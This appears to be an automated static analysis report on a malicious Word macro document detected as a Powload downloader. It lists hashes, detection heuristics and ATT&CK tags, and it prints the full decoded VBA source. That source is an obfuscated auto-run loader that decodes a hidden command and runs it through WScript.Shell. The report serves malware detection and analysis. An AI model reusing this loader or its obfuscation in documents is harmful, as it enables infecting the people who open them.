Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b5a71e35a190c091…

MALICIOUS

Office (OOXML)

53.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: bf3628109b384926c0daf5ef34446282 SHA-1: 03cb29686389c965dd0176c318ede853e547054a SHA-256: b5a71e35a190c091720e643f0dedc09c07cd481f11cfb23866f2adecff8728be
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing a VBA macro. The macro utilizes obfuscation techniques and calls `Shell()` and `WScript.Shell` to execute commands. The `AutoClose` subroutine is designed to run automatically, and it reconstructs a string which is then passed to `Application.Run 'ticktock'`. This strongly suggests the macro's purpose is to download and execute a second-stage payload, as indicated by the ClamAV detection name 'Doc.Downloader.Powload-6707242-0'.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       vasodilations = "WScript.Shell"
   unshoveled = DateDiff("s", #1/1/1970#, Now())
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "ticktock", monosyllabical
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If monumentalized - unshoveled > 1 Then
       CreateObject(Trim(vasodilations)).Run gael, 0
       cheeking = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  occluded = Array("C", "1", "Q", "m", "c", "o", "x", "6", "x", "H", "Q", "m", "m", "U", "A", "X", "X", "k", "R", "1", "r", "D", "R", "1", "J", "k", "1", "x", "C", "J", "Q", "r", "x", "T", "R", "U", "c", "d", "T", "R", "x", "j", "o", "K", "J", "C", "X", "F", "l", "w", "X", "m", "x", "u", "6", "o", "U", "Q", "U", "h", "r", "m", "C", "c", "p", "j", "c", "j", "x", "m", "g")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2171 bytes
SHA-256: 5395c5be7b675fecb74098d7f20fd97196266ed43f34d2ff8686578009259215
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function otocyon(occluded)
  tiaras = Array("h", "D", "6", "F", "r", "k", "T", "o", "m", "d", "u", "K", "J", "1", "U", "H", "p", "l", "x", "X", "A", "c", "C", "g", "j", "w", "Q", "R")
  psalmodic = Array("?", "k", "x", "A", "u", "v", "l", ".", "t", "d", "r", "c", "o", "s", "p", " ", "=", "N", "e", "/", ":", "a", "m", "j", "b", "Y", "h", "i")
  
  balandrana = vbNullString
  
  For Each rutabaga In occluded
    doubtful = demantoid(rutabaga, tiaras, UBound(tiaras))
    If doubtful > -1 Then
    balandrana = psalmodic(doubtful) & balandrana
    End If
  Next
  
  otocyon = StrReverse(balandrana)
  
End Function

Public Function demantoid(trisoctahedral, horizontalities, turbinage)
  ascanian = 5553
  associatory = 772
  For ascanian = 0 To turbinage
    If horizontalities(ascanian) = trisoctahedral And ascanian > -1 Then
     associatory = ascanian
    End If
  Next

  If associatory = 772 Then
    associatory = -1
  End If
  
  demantoid = associatory
End Function

Sub AutoClose()
  occluded = Array("C", "1", "Q", "m", "c", "o", "x", "6", "x", "H", "Q", "m", "m", "U", "A", "X", "X", "k", "R", "1", "r", "D", "R", "1", "J", "k", "1", "x", "C", "J", "Q", "r", "x", "T", "R", "U", "c", "d", "T", "R", "x", "j", "o", "K", "J", "C", "X", "F", "l", "w", "X", "m", "x", "u", "6", "o", "U", "Q", "U", "h", "r", "m", "C", "c", "p", "j", "c", "j", "x", "m", "g")
  monosyllabical = otocyon(occluded)
  
  Application.Run "ticktock", monosyllabical
  
End Sub


Private Sub ticktock(gael)
   
   vasodilations = "WScript.Shell"
   unshoveled = DateDiff("s", #1/1/1970#, Now())
   cheeking = True
   
   While cheeking
     monumentalized = unshoveled + 60
     If monumentalized - unshoveled > 1 Then
       CreateObject(Trim(vasodilations)).Run gael, 0
       cheeking = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: c90ddd907f0c2b060637d4463de3fd5b4f66220e83ff66e332bb4277ec3c9545
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely

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